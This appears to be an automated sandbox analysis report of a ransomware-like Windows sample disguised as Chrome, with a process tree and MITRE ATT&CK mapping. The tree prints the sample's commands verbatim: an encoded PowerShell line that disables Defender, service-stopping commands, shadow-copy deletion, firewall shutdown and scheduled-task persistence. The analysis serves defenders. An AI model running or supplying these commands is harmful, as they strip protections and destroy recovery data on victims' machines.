PID 1608 wrote to memory of 3396	1608	sutbongtvb.io_chrome.exe	107
PID 3740 wrote to memory of 5408	3740	chrome.exe	109
PID 3740 wrote to memory of 5408	3740	chrome.exe	109
PID 3740 wrote to memory of 4196	3740	chrome.exe	110
PID 1608 wrote to memory of 3368	1608	sutbongtvb.io_chrome.exe	169
PID 1608 wrote to memory of 3136	1608	sutbongtvb.io_chrome.exe	113
PID 1608 wrote to memory of 616	1608	sutbongtvb.io_chrome.exe	115
PID 1608 wrote to memory of 3392	1608	sutbongtvb.io_chrome.exe	117
PID 1608 wrote to memory of 3676	1608	sutbongtvb.io_chrome.exe	118
PID 3392 wrote to memory of 3752	3392	fodhelper.exe	120
PID 1608 wrote to memory of 5752	1608	sutbongtvb.io_chrome.exe	121
PID 1608 wrote to memory of 5404	1608	sutbongtvb.io_chrome.exe	131
PID 1608 wrote to memory of 4616	1608	sutbongtvb.io_chrome.exe	125
PID 1608 wrote to memory of 1276	1608	sutbongtvb.io_chrome.exe	132
PID 3740 wrote to memory of 4196	3740	chrome.exe	110
PID 1608 wrote to memory of 1088	1608	sutbongtvb.io_chrome.exe	133
PID 1608 wrote to memory of 1272	1608	sutbongtvb.io_chrome.exe	135
PID 1608 wrote to memory of 1132	1608	sutbongtvb.io_chrome.exe	140
PID 1608 wrote to memory of 352	1608	sutbongtvb.io_chrome.exe	142
PID 1608 wrote to memory of 5340	1608	sutbongtvb.io_chrome.exe	143
PID 1608 wrote to memory of 1152	1608	sutbongtvb.io_chrome.exe	144
PID 1608 wrote to memory of 2700	1608	sutbongtvb.io_chrome.exe	145
PID 1608 wrote to memory of 5928	1608	sutbongtvb.io_chrome.exe	146
PID 1608 wrote to memory of 4700	1608	sutbongtvb.io_chrome.exe	147
PID 1608 wrote to memory of 296	1608	sutbongtvb.io_chrome.exe	153
PID 1608 wrote to memory of 3840	1608	sutbongtvb.io_chrome.exe	156
PID 1132 wrote to memory of 5888	1132	cmd.exe	157
PID 352 wrote to memory of 4968	352	cmd.exe	158
PID 1152 wrote to memory of 5520	1152	cmd.exe	159
PID 5928 wrote to memory of 6036	5928	cmd.exe	160
PID 5340 wrote to memory of 1912	5340	cmd.exe	161
PID 2700 wrote to memory of 320	2700	cmd.exe	162
PID 4700 wrote to memory of 5844	4700	cmd.exe	163
PID 320 wrote to memory of 2616	320	net.exe	164
PID 1608 wrote to memory of 6064	1608	sutbongtvb.io_chrome.exe	165
PID 1132 wrote to memory of 5548	1132	cmd.exe	166
PID 1608 wrote to memory of 5720	1608	sutbongtvb.io_chrome.exe	167
PID 1608 wrote to memory of 3368	1608	sutbongtvb.io_chrome.exe	169
PID 1608 wrote to memory of 2120	1608	sutbongtvb.io_chrome.exe	170
PID 1608 wrote to memory of 1496	1608	sutbongtvb.io_chrome.exe	171
PID 1608 wrote to memory of 2280	1608	sutbongtvb.io_chrome.exe	173
PID 1608 wrote to memory of 5988	1608	sutbongtvb.io_chrome.exe	174
PID 2120 wrote to memory of 4704	2120	net.exe	179
PID 3740 wrote to memory of 3464	3740	chrome.exe	180
PID 3740 wrote to memory of 1908	3740	chrome.exe	181
PID 3740 wrote to memory of 1908	3740	chrome.exe	181
PID 3740 wrote to memory of 1780	3740	chrome.exe	182
PID 3740 wrote to memory of 1780	3740	chrome.exe	182

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\sutbongtvb.io_chrome.exe
"C:\Users\Admin\AppData\Local\Temp\sutbongtvb.io_chrome.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1608
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://sutbongtvb.io
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:3740
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffd9110c728,0x7ffd9110c734,0x7ffd9110c740
    3⤵
    PID:2524
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1612,i,4711265460544783633,9866071638003127316,262144 --field-trial-handle=1904,i,3064852866813492235,12609204932744962634,262144 --variations-seed-version --mojo-platform-channel-handle=1900 /prefetch:2
    3⤵
    PID:2480
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1212,i,12236904440651670533,7601612702373434497,524288 --field-trial-handle=1904,i,3064852866813492235,12609204932744962634,262144 --variations-seed-version --mojo-platform-channel-handle=2172 /prefetch:11
    3⤵
    - System Time Discovery
    PID:1492
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2308,i,17805146056177097400,16337345285975805173,524288 --field-trial-handle=1904,i,3064852866813492235,12609204932744962634,262144 --variations-seed-version --mojo-platform-channel-handle=2680 /prefetch:13
    3⤵
    PID:908
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3148,i,7413105238824666858,8533274550010385361,2097152 --field-trial-handle=1904,i,3064852866813492235,12609204932744962634,262144 --variations-seed-version --mojo-platform-channel-handle=3160 /prefetch:1
    3⤵
    PID:2104
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3164,i,3646220302812794527,13845159433154269711,2097152 --field-trial-handle=1904,i,3064852866813492235,12609204932744962634,262144 --variations-seed-version --mojo-platform-channel-handle=3192 /prefetch:1
    3⤵
    PID:1228
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4680,i,14678617646535498062,17902199407197718178,524288 --field-trial-handle=1904,i,3064852866813492235,12609204932744962634,262144 --variations-seed-version --mojo-platform-channel-handle=4692 /prefetch:14
    3⤵
    PID:5408
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=3120,i,18107947826406777000,239387482910471732,2097152 --field-trial-handle=1904,i,3064852866813492235,12609204932744962634,262144 --variations-seed-version --mojo-platform-channel-handle=4664 /prefetch:1
    3⤵
    PID:4196
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=3448,i,8623225909705444171,8664660857019609602,524288 --field-trial-handle=1904,i,3064852866813492235,12609204932744962634,262144 --variations-seed-version --mojo-platform-channel-handle=4684 /prefetch:14
    3⤵
    PID:3464
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=4712,i,5706992279871923239,438067185838917669,2097152 --field-trial-handle=1904,i,3064852866813492235,12609204932744962634,262144 --variations-seed-version --mojo-platform-channel-handle=5620 /prefetch:1
    3⤵
    PID:1908
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=3456,i,12894282108013932530,16783615945291851843,2097152 --field-trial-handle=1904,i,3064852866813492235,12609204932744962634,262144 --variations-seed-version --mojo-platform-channel-handle=4716 /prefetch:1
    3⤵
    PID:1780
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5640,i,4774546702062497345,7771802015697932318,2097152 --field-trial-handle=1904,i,3064852866813492235,12609204932744962634,262144 --variations-seed-version --mojo-platform-channel-handle=5604 /prefetch:1
    3⤵
    PID:2184
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5872,i,903412187660400370,16714036060592193524,524288 --field-trial-handle=1904,i,3064852866813492235,12609204932744962634,262144 --variations-seed-version --mojo-platform-channel-handle=4888 /prefetch:14
    3⤵
    PID:2092
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5876,i,11773058904442544625,12694011692284190518,2097152 --field-trial-handle=1904,i,3064852866813492235,12609204932744962634,262144 --variations-seed-version --mojo-platform-channel-handle=5632 /prefetch:1
    3⤵
    PID:1588
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5100,i,15276438214250056448,7096666890368296744,2097152 --field-trial-handle=1904,i,3064852866813492235,12609204932744962634,262144 --variations-seed-version --mojo-platform-channel-handle=6148 /prefetch:1
    3⤵
    PID:5872
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=6296,i,3465712849032944433,4507361088863500762,2097152 --field-trial-handle=1904,i,3064852866813492235,12609204932744962634,262144 --variations-seed-version --mojo-platform-channel-handle=4684 /prefetch:1
    3⤵
    PID:2344
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=5872,i,10779918057369522586,12118201594551049076,2097152 --field-trial-handle=1904,i,3064852866813492235,12609204932744962634,262144 --variations-seed-version --mojo-platform-channel-handle=5100 /prefetch:1
    3⤵
    PID:2088
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=6160,i,608704912022235690,12049587719350520354,2097152 --field-trial-handle=1904,i,3064852866813492235,12609204932744962634,262144 --variations-seed-version --mojo-platform-channel-handle=6240 /prefetch:1
    3⤵
    PID:5776
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5648,i,415109544568647576,15219795315800504323,524288 --field-trial-handle=1904,i,3064852866813492235,12609204932744962634,262144 --variations-seed-version --mojo-platform-channel-handle=4700 /prefetch:14
    3⤵
    PID:312
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5648,i,2373444213922433732,7469395079175855563,524288 --field-trial-handle=1904,i,3064852866813492235,12609204932744962634,262144 --variations-seed-version --mojo-platform-channel-handle=6196 /prefetch:14
    3⤵
    PID:4732
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=6380,i,16919193031919082457,6695646932487180898,2097152 --field-trial-handle=1904,i,3064852866813492235,12609204932744962634,262144 --variations-seed-version --mojo-platform-channel-handle=4532 /prefetch:9
    3⤵
    PID:5716
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=6244,i,1862461653322613032,2043361491997791506,2097152 --field-trial-handle=1904,i,3064852866813492235,12609204932744962634,262144 --variations-seed-version --mojo-platform-channel-handle=6384 /prefetch:1
    3⤵
    PID:1124
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6300,i,7158301389361059396,10032438537280809812,524288 --field-trial-handle=1904,i,3064852866813492235,12609204932744962634,262144 --variations-seed-version --mojo-platform-channel-handle=5896 /prefetch:14
    3⤵
    PID:5244
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6020,i,5067137196785449001,4484124449018134291,524288 --field-trial-handle=1904,i,3064852866813492235,12609204932744962634,262144 --variations-seed-version --mojo-platform-channel-handle=6280 /prefetch:14
    3⤵
    PID:5516
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6028,i,5254638875458349243,16927640427358303970,524288 --field-trial-handle=1904,i,3064852866813492235,12609204932744962634,262144 --variations-seed-version --mojo-platform-channel-handle=6216 /prefetch:14
    3⤵
    PID:2400
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=4892,i,17976055940567422101,10031669068843523993,262144 --field-trial-handle=1904,i,3064852866813492235,12609204932744962634,262144 --variations-seed-version --mojo-platform-channel-handle=1120 /prefetch:10
    3⤵
    PID:3448
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1592
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:3448
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:4720
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:3096
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:3780
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:3396
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:3368
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:3136
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:616
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3392
- - C:\Users\Admin\AppData\Local\Temp\sutbongtvb.io_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\sutbongtvb.io_chrome.exe"
    3⤵
    PID:3752
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:3676
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:5752
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:5404
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4616
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:1276
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\sutbongtvb.io_chrome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1088
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\sutbongtvb.io_chrome.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1272
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1132
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:5888
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5548
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:352
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:4968
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5340
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:1912
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1152
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:5520
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2700
- - C:\Windows\system32\net.exe
    net user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:320
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:2616
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5928
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:6036
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4700
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:5844
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\sutbongtvb.io_chrome.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:296
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:3840
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:6064
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:5720
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3368
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2120
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:4704
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:1496
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:2280
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:5988

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4812

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2932

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:5404

C:\Users\Admin\AppData\Local\Temp\sutbongtvb.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\sutbongtvb.io_chrome.exe
1⤵
PID:5348

C:\Users\Admin\AppData\Local\Temp\sutbongtvb.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\sutbongtvb.io_chrome.exe
1⤵
PID:5468

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:3788

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:4556

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery